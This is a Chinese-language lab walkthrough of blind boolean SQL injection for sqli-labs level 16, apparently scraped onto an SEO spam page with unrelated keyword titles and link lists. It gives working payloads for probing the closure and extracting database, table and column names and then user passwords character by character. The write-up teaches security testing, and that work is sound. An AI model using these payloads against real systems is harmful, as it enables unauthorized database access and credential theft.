当前位置: 首页 > news >正文

绍兴免费网站建站模板织梦seo排名优化教程

绍兴免费网站建站模板,织梦seo排名优化教程,广州北京网站建设公司,pc网站制作文章目录 前言一、回顾上一关知识点二、靶场第十六关通关思路1、判断注入点2、猜数据库长度3、猜数据库名字4、猜表名长度5、猜表名名字6、猜列名长度7、猜列名名字8、猜数据长度9、猜数据名字 总结 前言 此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击…

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第十六关通关思路
    • 1、判断注入点
    • 2、猜数据库长度
    • 3、猜数据库名字
    • 4、猜表名长度
    • 5、猜表名名字
    • 6、猜列名长度
    • 7、猜列名名字
    • 8、猜数据长度
    • 9、猜数据名字
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是典型的布尔盲注,是单引号闭合。这一关是")闭合。

二、靶场第十六关通关思路

  • 1、判断注入点
  • 2、猜数据库长度
  • 3、猜数据库名字
  • 4、猜表名长度
  • 5、猜表名名字
  • 6、猜列名长度
  • 7、猜列名名字
  • 8、猜数据长度
  • 9、猜数据名字

1、判断注入点

这一关和上一关唯一不同的就是闭合不同,我们一个个试就行。一般都是单引号、双引号,或者引号和括号混合。
注入语句为

1 or 1=1 
1 or 1=2 

发现没有反应,再试试

1' or 1=1#
1' or 1=2#

经过不断尝试payload为

1") or 1=1#
1") or 1=2#

在这里插入图片描述
在这里插入图片描述

2、猜数据库长度

注入语句为

1") or length(database())>7#

发现数据库长度大于7页面登录成功,大于8登录失败
在这里插入图片描述

3、猜数据库名字

注入语句为

1") or ascii(substr(database(),1,1))>114#

(如图所示)发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符’s’。我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security
在这里插入图片描述
在这里插入图片描述

4、猜表名长度

注入语句为

1") or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

发现第一个数据库表名大于5页面正常,大于6页面false状态。(如图所示)
在这里插入图片描述
在这里插入图片描述
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

5、猜表名名字

1") or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

(如图所示)发现第四个表名第一个字符ascii码大于116正常,大于117页面false,得到第四个表名第一个字符ascii码为117,说明是字符’u’
通过substr(表名,1,1)递增标注数字到5,猜出此表名名字为users
在这里插入图片描述
在这里插入图片描述

6、猜列名长度

注入语句为

1") or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#

(如图所示)猜出第一个列名长度大于1页面正常,大于2页面false,所以第一个列名长2。以此类推递增limit得到所有列名长度(略)。第二个列名长8,第三个列名长8。
在这里插入图片描述

在这里插入图片描述

7、猜列名名字

注入语句为

1") or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

猜到第二个列名第一个字符大于116正常,大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username,password列名。

在这里插入图片描述
在这里插入图片描述

8、猜数据长度

注入语句为

1") or length((select password from users limit 0,1))>3#

(如图所示)猜出第一个密码长度大于3正常,大于4页面false。以此类推查所有数据长度。方法和上面一样就不展示了
在这里插入图片描述
在这里插入图片描述

9、猜数据名字

注入语句为

1") or ascii(substr((select password from users limit 0,1),1,1))>67#

(如图所示)猜出密码第一个字符大于67正常,大于68页面false。以此类推,猜出所有数据名字。
在这里插入图片描述
在这里插入图片描述


总结

这一关和上一关差不多,只是闭合方式不同。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

http://www.ds6.com.cn/news/35688.html

相关文章:

  • 东莞网站设计公司哪家好十种营销方式
  • 平面网页设计是做什么的seo专业优化方法
  • 拉萨建设厅网站首页国际财经新闻
  • 做网站是怎么做的制作网站的网址
  • 丽水网站建设关键词检索怎么弄
  • 做网站送推广谷歌竞价排名推广公司
  • php网站首页模板百度快速排名化
  • 公司的网站设计方案网站免费制作
  • 建设银行网站查完整卡号温州seo招聘
  • 公司装修通知告示怎么写关键词seo深圳
  • 自己做的网站如何发布近期新闻热点大事件
  • 网站建设案例咨询口碑营销是什么
  • 郑州做网站优化的公司怎么去推广自己的公司
  • 网站备案真麻烦长沙企业网站设计
  • 长锦船公司网站网站首页快速收录
  • 重庆微网站开发公司做百度推广代运营有用吗
  • 免费个人crmapp梁水才seo优化专家
  • 做网站政府扶持网站快速优化排名排名
  • 青岛网站快速排名提升搜索广告是什么意思
  • 网站服务器 内存seo咨询常德
  • 做机械加工外贸网站哪家好交换友情链接的注意事项
  • 河北廊坊永清县疫情最新消息seo排名赚app靠谱吗
  • 哪些网站可以做外部锚文本百度首页网站推广多少钱一年
  • ai绘画软件免费seo下载站
  • 美国小卖家做deal网站定制网站多少钱
  • 淮北叶红军百度权重优化软件
  • 使用vs2015做网站教程百度关键词查询网站
  • 百度推广代理加盟百度seo推广
  • 北航刘禹导师做网站免费关键词优化排名软件
  • 自助网站建设公司电话宁波网站建设公司哪家好